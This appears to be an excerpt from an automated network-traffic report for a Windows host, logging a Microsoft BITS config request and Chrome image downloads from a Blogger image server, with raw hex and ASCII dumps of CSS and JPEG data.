2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 0a 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 0a 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 34 30 30 6d 73 20 65 61 73 65 3b 20 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 76 69 64 65 6f 2d 66 72 61 6d 65 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7d 0a 2f 2a 2a 0a 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 Data Ascii: height: 100%;background-position: center center;background-repeat: no-repeat;background-size: contain;transition: opacity 400ms ease; }.owl-carousel .owl-video-frame {position: relative;z-index: 1;height: 100%;width: 100%; }/*** Owl Carousel v
2024-10-14 22:39:50 UTC	93	IN	Data Raw: 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 7d 0a 65 6d 20 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 7d 0a 68 65 61 64 65 72 2c 20 73 65 63 74 69 6f 6e 2c 20 61 73 69 64 65 2c 20 6e 61 76 2c 20 66 6f 6f 74 65 72 2c 20 61 72 74 69 63 6c 65 2c 20 66 69 67 0d 0a Data Ascii: sition: center;}em {font-style: normal;}header, section, aside, nav, footer, article, fig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49764	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-14 22:39:50 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=65145 Date: Mon, 14 Oct 2024 22:39:50 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49769	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	928	OUT	GET /img/b/R29vZ2xl/AVvXsEjxtF2EGc4gyb_sNBOEqULAxq-qIaDz6pkBAa_eeZuLk0GKp2-HyWVJDkW54GH47x7ETBMzGncabdWiE000LAOSqr5Nml9pXFw1pHybu0Y6oFfNw9-gQwYXioDXnLTAtbKLmzeQ0W1Fl5BAJIQCDRAXwLfaIiRbgIFP-khGhSv29jzClIqW-5CQNtMdZZ9e/s1600/%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	531	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v1ab" Expires: Tue, 15 Oct 2024 22:39:51 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="_____ (18).jpeg";filename*=UTF-8''%D8%AA%D9%86%D8%B2%D9%8A%D9%84%20(18).jpeg X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:51 GMT Server: fife Content-Length: 8700 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:51 UTC	847	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 b8 00 00 00 03 a0 04 00 01 00 00 00 12 01 00 00 00 00 00 00 ff db 00 84 00 09 06 07 12 13 12 15 12 12 12 15 16 15 17 17 18 1a 16 17 18 17 18 17 18 18 18 18 18 18 17 17 18 1a 15 18 1d 28 20 18 1a 25 1d 15 1d 21 31 21 25 29 2b 2e 2e 2e 17 20 33 38 33 2d 37 28 2d 2e 2b 01 0a 0a 0a 0e 0d 0e 1b 10 10 15 32 22 1e 25 35 2d 2d 30 2d 2d 37 2b 2d 2d 2d 2b 2d 2d 37 2d 2d 2d 2d 2d 35 30 2d 2d 2b 2d 2d 2b 37 2b 2d 2b 2d 2b 2d 2e 2b 2d 2b 2b 2d Data Ascii: JFIFlExifII*12i:Google0220( %!1!%)+... 383-7(-.+2"%5--0--7+---+--7-----50--+--+7+-+-+-.+-++-
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 45 fd dc 80 cb 27 c6 94 97 37 f0 cc 07 92 9e e9 06 af bd 88 e5 bb c1 af 11 26 55 66 f8 20 9f 30 bd 33 ee ce 01 39 84 95 d5 5a 49 54 3b b9 00 b1 2f d2 e2 78 00 0d ad 4e 5b 50 da 19 7e 4d fe a9 a4 fb b7 ef 4c 3f c8 c5 f5 05 16 37 69 ce 3b 60 97 6a 40 90 cb 04 b1 a8 56 69 44 6f 94 58 32 b8 3c 40 e3 62 05 3e 53 2e f3 9d 30 df de a1 f5 9a 7a a1 7d f4 ac f7 bc 65 04 10 45 c1 d0 83 c0 8a 69 db 98 28 97 0f 2b 08 d0 10 8c 41 0a a0 8d 3b 6d 4e f4 d9 bc c6 d8 49 fe 49 fe a9 aa 9a 33 3d 38 8f c6 1b 30 fb 36 02 8a 4c 31 9b a8 fc c5 ec f0 a5 f5 a7 07 f9 34 f8 ab ea 15 ba 8c da 66 67 7c 8a 65 dd 03 f8 bf fc d9 bf 7a f4 f5 4c 5b 96 7f 15 1f 29 37 ef 9e 8d 47 57 3d f1 ea c7 7e 7d e6 ff 00 1e 0f df c7 4f f5 1f df b3 f8 93 fc 78 3f 7f 15 48 2a 73 49 f7 23 be 7d 05 14 51 55 Data Ascii: E'7&Uf 039ZIT;/xN[P~ML?7i;`j@ViDoX2<@b>S.0z}eEi(+A;mNII3=806L14fg\|ezL[)7GW=~}Ox?H*sI#}QU
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 15 e6 be 63 bd 85 f8 d8 5f c7 ae 8a ca 8a 02 8a 29 3e 3f 18 90 c6 f2 c8 72 a2 29 66 3d c2 83 56 d5 8c 14 2c 74 2b c3 cb a5 aa 9d e5 07 69 c2 ca a8 c6 62 eb aa ad 9a d7 b1 1a 5b 4b 01 4f bb 3f 7b db 6b 2e 24 45 9a 25 85 95 78 df a3 27 45 1c 9d 3a 77 cd d1 d6 d9 46 b5 00 df fd bb cf ca f8 68 9a f0 23 b6 66 ca aa 59 b4 19 43 2f ba 40 41 d7 af d1 40 dd b1 37 b7 4c 64 05 46 4c 4c 2c 01 1c 44 8a d9 d7 29 f8 26 e4 77 f4 7b 2b a5 f6 96 09 67 82 48 5b dc c9 1b 21 f0 65 22 fe 9a e4 98 70 a0 1b a8 b1 ed a9 c6 e7 f2 a1 89 c1 95 8a 63 cf 42 34 ca de e9 47 ea bf 57 81 b8 f0 a9 86 a2 f3 11 11 d9 bd 75 ee 2e 35 a5 c1 42 5f f2 88 0c 52 03 c4 3c 44 c6 d7 ef 39 6f e5 a7 ea 85 ee 4e d1 8d b1 58 a4 88 de 2c 40 4c 64 5d be d9 ed 73 5c 75 11 22 6b de 6a 61 89 98 22 33 b6 8a aa Data Ascii: c_)>?r)f=V,t+ib[KO?{k.$E%x'E:wFh#fYC/@A@7LdFLL,D)&w{+gH[!e"pcB4GWu.5B_R<D9oNX,@Ld]s\u"kja"3
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 93 64 93 da df ba e6 ea 4f 81 fa d4 d9 b1 a0 ba 66 e0 3a bc be bf f3 a3 18 2e 74 36 3d b6 e0 7a 8d bb 8d 8f 92 82 f1 a2 90 6c 2c 61 97 0f 14 87 8b 20 bf 88 d0 fa 45 14 0b ea a5 fc 20 01 e6 f0 85 7d d6 69 40 1d c4 25 db c0 58 79 ea da aa 7f 97 a9 ba 58 55 fd 59 3d 25 7f a5 05 41 22 d8 5a 9b 31 7c 69 ce 66 a6 dc 4f 1a 21 32 35 98 1e fa 5f 89 6b d8 d2 0b 6b 4f f8 7c 0a ca c5 59 9b a2 17 85 85 ef 7e d0 7b 29 2f 5d 2d 2b 6a de 29 5e 32 ba 3f 07 d4 fc 4e 66 ed 98 0f 32 03 fc d5 16 e5 e2 07 5c 74 6c c0 e4 92 21 90 f5 5d 49 0e 3c 45 c1 f9 c2 ac 2e 46 76 70 87 67 0b 5e cf 2c 8c 2f c6 c2 c9 d5 f1 29 8b 96 3d b2 1d 86 07 20 20 04 91 9f f3 95 c9 6b 01 d4 3a 3c 7b 9a a6 5b d3 d9 b5 2f a9 3a 75 8d f1 9f a2 8b 9e bc 8e 6b 46 4a 92 0e b7 e1 63 af 50 e3 7b 56 dc 72 80 4d Data Ascii: dOf:.t6=zl,a E }i@%XyXUY=%A"Z1\|ifO!25_kkO\|Y~{)/]-+j)^2?Nf2\tl!]I<E.Fvpg^,/)= k:<{[/:ukFJcP{VrM
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 59 db db b4 2d b3 b6 76 1c 1f ec b9 d7 f2 02 a9 e4 39 9f e8 d4 2b 7c 36 6b 61 f9 90 c2 c6 48 b3 93 d7 72 75 4b 75 65 16 f1 2c 7c 03 c7 b2 56 69 f0 cb 2f e4 95 70 f1 37 72 2e 51 27 a5 9c f9 69 67 2b 98 32 cf 12 ad d9 c3 ca b6 b1 00 26 5c ce c5 fd ca 85 e6 b3 6b d4 58 fe 69 a9 57 5f b4 fe cf 4e ba 7d b3 36 9f 1f fa ab 24 35 a1 eb 63 b5 2c dd dc 2a 4d 8a 8a 37 17 42 d7 61 f0 95 41 72 be 50 b6 f2 d6 9f 14 f7 b0 76 61 8b 08 26 6d 0c f2 02 a2 df d9 c6 1c 03 f3 99 bc ca 3b 6a dc c4 42 17 76 80 b1 37 55 61 6f d6 c4 89 2f e0 2f 73 dc 2a 17 be 58 b0 ce aa 2d 64 b8 36 e0 08 b0 b0 ee ab 4d b0 9f e8 2e 6f af d8 1e 9e 66 fe ba cf 39 7d 4a db a3 a1 a5 f9 b3 e1 2e 73 db a0 03 98 9d 6c b9 45 8e a4 31 27 5e 00 01 e5 d4 77 90 d4 e6 9f 36 b0 b8 5f 2f d9 4c b2 d5 af 07 2e db Data Ascii: Y-v9+\|6kaHruKue,\|Vi/p7r.Q'ig+2&\kXiW_N}6$5c,M7BaArPva&m;jBv7Uao//sX-d6M.of9}J.slE1'^w6_/L.
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 20 fd 28 91 be da ae f0 91 96 91 54 71 66 00 78 93 61 eb a5 53 6c df d0 b7 6c 43 a8 f7 63 61 c7 26 c7 87 0b 20 e8 4b 86 01 87 58 e7 57 39 3d c4 17 bf 8d 73 e6 d3 c1 34 09 2c 0f ee a3 ce 8d e2 a4 83 ea ae aa c3 44 11 15 07 05 50 07 90 5a b9 cf 94 e1 f8 f6 37 e3 7f e3 43 4b 1b 1f c7 dd 28 66 c8 36 7f 10 47 db f6 54 f7 1b 88 cd b2 70 cb fa 3c 54 eb f4 91 65 fe 7a 82 6c 48 cb ca 15 45 c9 d0 0e d3 52 61 8a 1e c5 31 5f 51 38 90 0e e3 1b 2b 1f d9 5f 38 a9 67 be c5 39 a6 3b 27 3f 45 cb b4 27 c9 b0 63 3d b8 48 17 e9 24 63 d4 6b 9e 36 93 5d aa f2 de d9 b2 ec 2c 18 f8 51 61 fd 10 df ec aa 1f 1b 26 b6 15 b8 7c ed 4f 7a 48 e5 35 d0 9c 80 6c e1 1e cd 32 f5 cd 33 b7 cd 4b 46 07 7e a8 c7 e7 1a e7 89 4e 95 d5 dc 9b 61 39 ad 97 82 4b 5b da 11 88 ef 90 73 87 d2 c6 8c a4 b4 Data Ascii: (TqfxaSllCca& KXW9=s4,DPZ7CK(f6GTp<TezlHERa1_Q8+_8g9;'?E'c=H$ck6],Qa&\|OzH5l23KF~Na9K[s
2024-10-14 22:39:51 UTC	963	IN	Data Raw: 14 a7 81 bd 7b 40 c1 be 7b 9f 86 c7 84 33 c5 9c a5 ec 43 32 30 06 dc 19 48 24 69 c0 e9 50 b6 e4 9f 02 a7 dc 4c 3b b9 c2 3d 36 bf a6 ad aa c5 d0 11 62 28 28 ad e7 d8 7b 1f 00 33 4d 87 79 1c 80 42 06 91 da c4 e5 04 96 70 aa 09 04 79 0d af 55 be 23 19 09 90 bc 18 5e 6d 2c 42 a8 77 76 56 20 e5 6c c4 9b 90 75 1d 47 2f 0a e8 7d ed dc 0c 1e 32 41 24 ca e1 c2 81 99 1f 29 2b a9 01 86 a0 da e7 aa 99 62 e4 8f 67 83 af 3e 7c 64 03 d2 aa 0f a6 82 8b 6c 3a 28 bb f1 ef ee f5 9e ba 9b 72 36 b3 a6 3f 9d 8a 19 19 1a 17 46 7c 87 25 89 46 1d 2e 07 54 1d 75 6f 6c ad cf c1 61 bf 23 87 40 7e 13 5d df e9 b9 2d 6e eb d3 fe ce c3 d9 af d8 3d 74 09 a5 c6 b4 68 65 9d d2 24 5d 59 9c 85 03 ca 6a bf db 7c a0 60 f1 07 24 78 85 0a 97 d5 ce 4c c4 fe 72 df 88 f4 f7 55 8b bc 7b b9 87 c6 a2 Data Ascii: {@{3C20H$iPL;=6b(({3MyBpyU#^m,BwvV luG/}2A$)+bg>\|dl:(r6?F\|%F.Tuola#@~]-n=the$]Yj\|`$xLrU{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49770	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	903	OUT	GET /img/b/R29vZ2xl/AVvXsEilthfx38QlHFxL3Khn-j5CJzUsOSnQZg2lra4pPbU-1I5zAKJaooQ6gOOrOTlahlInZt6kUuNhkiig5FCwcmX2FOm0sszfp5Ukg1KTW0kv76WCftXcoYq755BAS_PwEF1zZrIZA9j8At0U3keYSOFtcclOPCW9WgJpnZM4KJ0cJ-yBccegg8RUG1_Jgg7K/s320/elaosboa46275.webp HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	474	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v1c2" Expires: Tue, 15 Oct 2024 22:39:50 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="elaosboa46275.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:50 GMT Server: fife Content-Length: 17702 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:50 UTC	904	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 0a 0a 0a 08 08 0a 08 08 08 0a 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 0a 08 08 08 08 0a 09 09 08 08 0d 0d 0a 08 0d 08 08 09 08 01 03 04 04 06 05 06 0a 06 06 0a 0d 0d 0a 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d ff c0 00 11 08 00 d5 01 40 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 05 03 04 06 07 01 02 08 09 00 ff c4 00 42 10 00 02 Data Ascii: JFIFExifII1Google@B
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 3f 81 e9 32 43 12 27 16 47 d2 3e 95 91 b1 c6 93 dc 60 e4 51 21 4d 8c 6e f8 b3 0e f5 1c 4a b6 0a 93 8b 36 68 a3 12 fb 33 5f 30 b7 de 9f 43 21 2f e4 39 14 1b 7d a9 32 89 a9 33 12 4f a7 7e b4 2a 22 f2 65 ea 86 57 dc 5b 56 df 2a 6a 88 95 c8 76 55 3c e8 83 ad 75 78 aa 8e ce 0c b6 8a b2 e1 37 35 dc 46 86 ec 42 55 a3 01 a1 15 93 15 0c b2 86 c7 7f 9c c0 27 db a9 cf 4f af b5 44 21 c5 84 38 54 a7 50 c8 3f 4c 6f 8c 1d fe 9d fe 95 54 02 4c 9f 5a f0 26 60 30 8c 72 a5 be 13 f0 81 a8 9e 9d 31 be 68 94 7f 82 a5 07 f8 46 17 93 e5 6f 82 09 5c ff 00 fa e2 91 f7 c1 38 f4 a9 df 00 9c 7b 03 ed 45 d5 8a fb 6c 71 c3 f8 4b c6 74 ba 34 6d fc 2e a5 5b 07 a1 c1 df 07 b1 e8 7f 5a 54 ad 0b e8 cb 27 97 20 e8 7e 42 b8 b9 9d b3 54 09 5c 57 9b 01 9e 9f 3a c7 24 69 52 08 5a 5a 06 ea 33 49 Data Ascii: ?2C'G>`Q!MnJ6h3_0C!/9}23O~"eW[VjvU<ux75FBU'OD!8TP?LoTLZ&`0r1hFo\8{ElqKt4m.[ZT' ~BT\W:$iRZZ3I
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: e9 de 4a f1 cb 2b 1a cd ea 2a 11 5d 89 62 5c 69 dd fd 4c 40 6f 70 04 61 5b 3b 91 83 5c ec f8 3b 3e c8 ae 85 f1 68 ea 40 61 d0 80 54 fb a9 19 07 e5 90 45 71 b3 c7 42 66 a8 cc bc 44 26 4e 71 5c c7 0e c6 7e e0 2e 23 ce c3 a0 3d 6a bf 4a 97 e0 17 98 3d c8 77 8b 2b 82 4e 77 14 8c b1 ea 83 84 ed 9d 6f c9 16 0b e5 a8 c7 fc c5 71 9b d9 df c6 b4 4b 20 e1 2b b9 c0 aa b1 c7 8d d7 2d ac 93 ef 5e d3 c4 78 40 f7 28 58 80 c3 24 e3 35 9b 2e d0 c4 e8 b3 16 4c 0e d4 a8 c6 9d 8c ec 2d 69 76 09 c6 6b 5f 76 2d c8 36 96 cb ed 4b 9e 4b 05 c8 dd ee 00 db 22 93 e9 3d 37 e1 bc 11 a5 20 28 66 24 e0 00 32 49 27 1b 7d ea e8 6c 31 4a 41 6b 7e 59 65 76 87 5c 22 45 ea 82 68 d9 d4 91 b2 c8 aa c7 46 71 81 a8 8d e9 b1 8d 8f 5c 46 7d 63 0b 17 11 04 72 e4 e9 d0 11 8b 6a fe 1c 63 39 da b5 ac Data Ascii: J+*]b\iL@opa[;\;>h@aTEqBfD&Nq\~.#=jJ=w+NwoqK +-^x@(X$5.L-ivk_v-6KK"=7 (f$2I'}l1JAk~Yev\"EhFq\F}crjc9
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 3c 18 dc 76 c7 65 c9 16 b4 41 bc 66 0d 24 07 6c 0c 1c 9e f9 c6 df e9 5d 5c 72 49 d9 c8 c8 bb 23 82 b9 a2 65 47 23 e6 7a 6e 32 6b bf 06 9a b3 cc f2 13 52 05 8b fc e0 af 51 b7 d3 35 a1 33 21 88 78 a1 5c 8c 67 75 3b ef f0 ee 31 ec 3e 94 56 55 0a 43 c5 f4 ca 5b 38 c1 04 01 b6 dd f0 7b 63 24 f5 eb 52 c9 e1 d6 9f 86 b5 86 58 ee 26 76 2d 3b 2e 82 a4 2e d0 ea 07 50 3d cc 8c a3 20 1d 8a 64 f6 ac 99 de 8c 9c 8d c4 94 5e ae 18 81 d0 1a c6 95 9c 39 30 27 12 7d e9 9d 44 31 4e 0b c4 f4 38 6a 5c f1 77 54 ca 8c a9 d9 78 78 7f e2 d8 8c e3 3d 48 ff 00 83 7a f3 9c ae 1d 3d 1e 83 8b ca bd 1d 21 cb 1c f6 65 40 46 30 71 de b8 12 54 ce cd d9 e5 4f 29 c0 5c 74 db 6a f7 73 d3 3c 24 99 2e b8 e5 4d 81 14 b4 c0 b0 71 e0 0d 90 29 8f c0 a2 58 bc 19 44 68 0e c3 00 75 fa 77 f9 d7 3a 4f Data Ascii: <veAf$l]\rI#eG#zn2kRQ53!x\gu;1>VUC[8{c$RX&v-;..P= d^90'}D1N8j\wTxx=Hz=!e@F0qTO)\tjs<$.Mq)XDhuw:O
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 4c 81 d4 ed 49 9e 38 de 8b 01 71 8e 2f 8e e7 6a e8 f1 b0 ff 00 a0 e2 8b 0f c2 0f 0a a1 e2 36 77 53 cd 21 88 5a de db 18 dd 15 4c aa 23 8d a4 9e 38 a4 20 3c 2f 34 73 08 96 48 98 32 eb 07 7c 62 b5 67 8d 45 9d be 16 59 46 49 20 f7 8b 7c a0 b7 31 cb 1b 00 17 4e 90 07 c2 80 0d 20 2f 6f 4a 80 a0 8c 74 15 c4 eb 47 a7 c6 dc bd 39 d7 86 fe 1a 15 57 23 cb 0c d1 ac 72 31 8c 48 c4 21 07 52 3b 12 d1 96 39 6c a9 0c 33 8c ed 58 25 95 c5 9d 4c 78 bb c4 b3 79 17 c1 24 b7 f5 f9 8d a7 00 98 cb 16 5c 8f 6c 9c 8e d9 de 9a b6 ac cd 28 53 a1 e7 8a 1c a8 27 b5 9e d9 59 54 cc 85 41 3e fe c7 1d 01 c7 5d f1 ed 4d 8c dc 7c 31 e6 87 68 d2 29 ae 45 fc 2e c5 1c 73 cf 72 ab 33 43 aa 44 8c 3b 79 6b 1c 48 5d b2 00 1a c9 df af 4c 74 39 a7 fe a2 48 cf 83 88 94 b6 4b f8 2f 2f 5b cf 19 8c d8 Data Ascii: LI8q/j6wS!ZL#8 </4sH2\|bgEYFI \|1N /oJtG9W#r1H!R;9l3X%Lxy$\l(S'YTA>]M\|1h)E.sr3CD;ykH]Lt9HK//[
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 88 49 12 4a 78 4b 25 d4 8c b0 ac b7 10 b5 a6 a9 26 f2 cb 7c 0f 2e 9d df 50 25 1c 81 f1 6d cf 52 6d d2 3b b3 a5 16 ff 00 d1 62 71 0b 45 8f c9 9e 13 ad 6e 51 1c 91 b0 6c a8 70 dd 48 f5 06 3d 0f 5a d1 19 b3 9a e2 8b 07 80 73 56 02 86 18 3b 56 98 e6 46 49 61 6c 43 c4 af 0c 20 be 85 8c 40 47 73 90 52 46 3f b3 0e a3 3e 59 c8 25 63 9c ec c4 7c 2c 11 ba 02 2b 64 6b 2a 3c c7 3b 0b 39 0f 8c 5b bc 4f 24 32 21 8a 48 9b 44 91 b0 c3 23 7b 1e c7 dc 10 48 20 82 09 04 1a cb 47 95 c9 f0 75 f9 23 9c 5a 7e f4 71 88 96 c1 11 de d6 b5 e0 0a 4c 23 c3 df 2c 2b 3e 56 3e 32 26 5c 38 f4 ac b2 09 b0 e5 bd d0 ac 93 83 64 a1 bc d7 3b 9a 5a 8b 41 c4 79 68 f4 7f 83 5c 10 ad dd ee 06 c6 90 99 a1 68 8d bd c1 26 b5 c2 69 0e b1 75 97 0a d4 e8 e4 b7 48 62 90 f3 91 39 86 41 17 17 82 3b 65 bb Data Ascii: IJxK%&\|.P%mRm;bqEnQlpH=ZsV;VFIalC @GsRF?>Y%c\|,+dk*<;9[O$2!HD#{H Gu#Z~qL#,+>V>2&\8d;ZAyh\h&iuHb9A;e
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 20 64 64 03 82 3b 8f 9d 21 aa 35 d8 c7 97 78 a0 40 37 c1 1d 8f ca a2 91 44 da cf 8f 02 29 8a 48 a6 25 79 cd 8e b1 5c cb 11 40 f0 c1 24 98 97 e0 65 45 25 81 f5 28 dd 73 80 c7 04 e0 6f 9c 56 a8 33 8b f5 06 94 36 70 59 e0 8a 30 00 d8 00 07 6c 00 36 18 15 b2 2c f9 be 4f 43 f6 31 fa 40 f6 a2 6c 5b 42 90 70 6c 9c fc f3 48 93 05 22 53 6a b8 02 81 ec d3 04 28 f7 b8 a9 46 d8 a1 07 e3 14 b6 a8 65 a1 78 2e f3 48 92 07 b0 ea 13 48 68 24 c7 a2 4d a9 74 35 00 f8 87 15 60 70 2b 54 21 63 53 07 4f 7a cd d6 ba 98 12 8f a3 50 2a 5b f7 89 96 54 38 64 24 8f ba b2 30 23 d8 ab 30 fb d7 47 25 4e 2d 23 a1 c7 6a 2e d9 1b e2 7c f5 72 a0 e9 61 b6 fe a6 65 c0 fd 1a b8 b2 e1 5e d9 dc 8f 33 f0 3b e7 be 45 e3 10 6f 71 0c 64 10 b9 f2 27 59 80 d6 01 5d 5b 23 0c 86 1b e9 ea 71 f5 e6 4d c7 Data Ascii: dd;!5x@7D)H%y\@$eE%(soV36pY0l6,OC1@l[BplH"Sj(Fex.HHh$Mt5`p+T!cSOzP*[T8d$0#0G%N-#j.\|rae^3;Eoqd'Y][#qM
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: f8 80 e6 83 6f 0a 68 20 4b 33 90 87 ae 11 70 64 6c 6f ee aa 33 dd bb e0 d3 e1 82 fd 38 9f 52 e6 ac 0a 97 ac e7 d7 e7 7b 96 d8 ce fd 73 e9 c2 1f d5 54 1f e7 4d 70 51 3c 74 f9 f9 a4 a9 bd 08 c5 72 ce 72 cc ee 4f 56 76 66 27 ea cc 49 3f ad 43 9d 3c 92 90 52 2b 32 3a d0 89 d9 99 2e 31 de a8 b4 62 d7 8b 9c f5 a2 a1 a8 97 59 5f e4 0d c5 1a 43 a2 28 f2 0f 71 46 d1 a2 c4 5a ec 50 16 47 f8 ac db d5 32 9a 37 e1 77 b8 18 de b3 cf c2 45 07 23 e2 42 b1 51 a1 1a 9e 28 06 49 20 00 09 25 88 55 00 6e 4b 12 40 50 3d c9 02 9b 8f 04 b2 78 1a 00 f1 3f 17 6d a3 42 ea fe 76 3a 68 04 23 63 a9 57 23 d6 a3 f8 94 10 72 30 c7 7c 76 b1 71 1a ab 1d 14 53 7c eb e2 74 b7 80 28 22 18 94 b0 11 c4 4a 86 04 10 7c d2 77 90 95 24 7a ba 67 60 2b af 18 d6 87 d1 2a fc 2c 7e 20 17 84 dd ba 5c 33 Data Ascii: oh K3pdlo38R{sTMpQ<trrOVvf'I?C<R+2:.1bY_C(qFZPG27wE#BQ(I %UnK@P=x?mBv:h#cW#r0\|vqS\|t("J\|w$zg`+*,~ \3
